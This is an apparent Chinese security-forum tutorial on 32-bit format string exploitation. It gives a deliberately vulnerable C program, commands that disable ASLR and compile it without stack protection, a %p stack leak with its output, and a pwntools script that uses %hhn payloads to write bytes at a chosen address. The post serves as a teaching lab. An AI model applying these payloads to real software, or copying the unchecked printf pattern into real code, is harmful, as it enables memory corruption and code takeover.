-
-
[原创]32位格式化字符串漏洞实现任意地址内存覆盖
-
发表于: 2021-8-10 20:13 9019
-
32位格式化字符串漏洞实现任意地址内存覆盖
此时i=4
比如想将2写入0xffffcd28。则构造payload"AA%15$nA"+p32(0xffffcd28),开头AA即可将地址0xffffcd28内容赋值为2,%15$n5个字节,为了实现4地址对齐,后面还要添加一个A。
如想将0x12345678写入到地址0xffffcd28。0x12345678转换为10进制会很大,采用上面的方法会覆盖掉重要的地址而出错。可以拆分成单字节覆盖。比如将0xffffcd28覆盖成0x12,将0xffffcd29覆盖成0x34,0xffffcd30覆盖成0x56,0xffffcd31覆盖成0x78.
具体步骤如下:
步骤一:使用“AAAABBBBCCCCDDDD”作为程序输入,使用gdb查看
printf的栈,AAAA,BBBB,CCCC,DDDD存储的地址和相对于格式化字符串地址的偏移。
步骤二:构造payload,先写AAAA,BBBB,CCCC,DDDD的地址,占16字节,然后使用4个“%要填入的值-前面已出现的字符数c%要填入地址相对于格式化字符串地址的偏移$hhn"覆盖地址。其中hhn表示写入单字节。
做实验首先要注意
1.关闭ASLR,linux下ASLR是自动开启的,不关闭的话栈地址每次都是随机的(可能要管理员权限)
2.编译时关闭CANARY,PIE。
执行fmt32获取arg4的地址和格式化字符串的偏移。输入:AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
获取到偏移为13,地址为xffffd1aa。
制作payload:B的ASCII码十进制为66,为了4字节对齐,前面多了个A,
4字节为一个参数,原本的偏移是13,多了12个字节,所以偏移变成了16.
执行pwn
成功修改
若想写入0x123456789,则要按文章一开始的办法,若按以下payloadpayload = "%305419896c%17$n"+p32(0xffffd1aa),会输出305419896个字符,输不完,程序会卡住。
剩下的疑问:如果是64位的程序想写入0x123456789要如何做呢?
int
i;
printf(
"AAAA%n"
,&i)
int
i;
printf(
"AAAA%n"
,&i)
x
/
20wx
$esp
x
/
20wx
$esp
/
/
fmtdemo.c
#include<stdio.h>
void main()
{
char
format
[
128
];
int
arg1
=
1
,arg2
=
0x88888882
,arg3
=
-
1
;
char arg4[
10
]
=
"ABCD"
;
scanf(
"%s"
,
format
);
printf(
format
,arg1,arg2,arg3,arg4);
printf(
"arg4的地址:%p\n"
,&arg4);
printf(
"arg4:%s\n"
,arg4);
printf(
"\n"
);
}
/
/
fmtdemo.c
#include<stdio.h>
void main()
{
char
format
[
128
];
int
arg1
=
1
,arg2
=
0x88888882
,arg3
=
-
1
;
char arg4[
10
]
=
"ABCD"
;
scanf(
"%s"
,
format
);
printf(
format
,arg1,arg2,arg3,arg4);
printf(
"arg4的地址:%p\n"
,&arg4);
printf(
"arg4:%s\n"
,arg4);
printf(
"\n"
);
}
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
gcc
-
m32
-
fno
-
stack
-
protector
-
no
-
pie fmtdemo.c
-
o fmt32
gcc
-
m32
-
fno
-
stack
-
protector
-
no
-
pie fmtdemo.c
-
o fmt32
bigeast@ubuntu:~
/
Desktop
/
attach$ .
/
fmt32
AAAA.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p
AAAA.
0x1
.
0x88888882
.
0xffffffff
.
0xffffd1aa
.
0xffffd1b4
.
0xc2
.
0x1fff
.
0xf7fdf449
.
0xf63d4e2e
.
0x4241daf8
.
0x4443
.(nil).
0x41414141
.
0x2e70252e
.
0x252e7025
.
0x70252e70
.
0x2e70252e
.
0x252e7025arg4
的地址:
0xffffd1aa
arg4:ABCD
bigeast@ubuntu:~
/
Desktop
/
attach$ .
/
fmt32
AAAA.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p.
%
p
AAAA.
0x1
.
0x88888882
.
0xffffffff
.
0xffffd1aa
.
0xffffd1b4
.
0xc2
.
0x1fff
.
0xf7fdf449
.
0xf63d4e2e
.
0x4241daf8
.
0x4443
.(nil).
0x41414141
.
0x2e70252e
.
0x252e7025
.
0x70252e70
.
0x2e70252e
.
0x252e7025arg4
的地址:
0xffffd1aa
arg4:ABCD
from
pwn
import
*
context.log_level
=
'debug'
file
=
ELF(
"./fmt32"
)
io
=
process(
"./fmt32"
)
payload
=
"A%65c%16$hhn"
+
p32(
0xffffd1aa
)
print
(payload)
io.sendline(payload)
io.interactive()
from
pwn
import
*
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)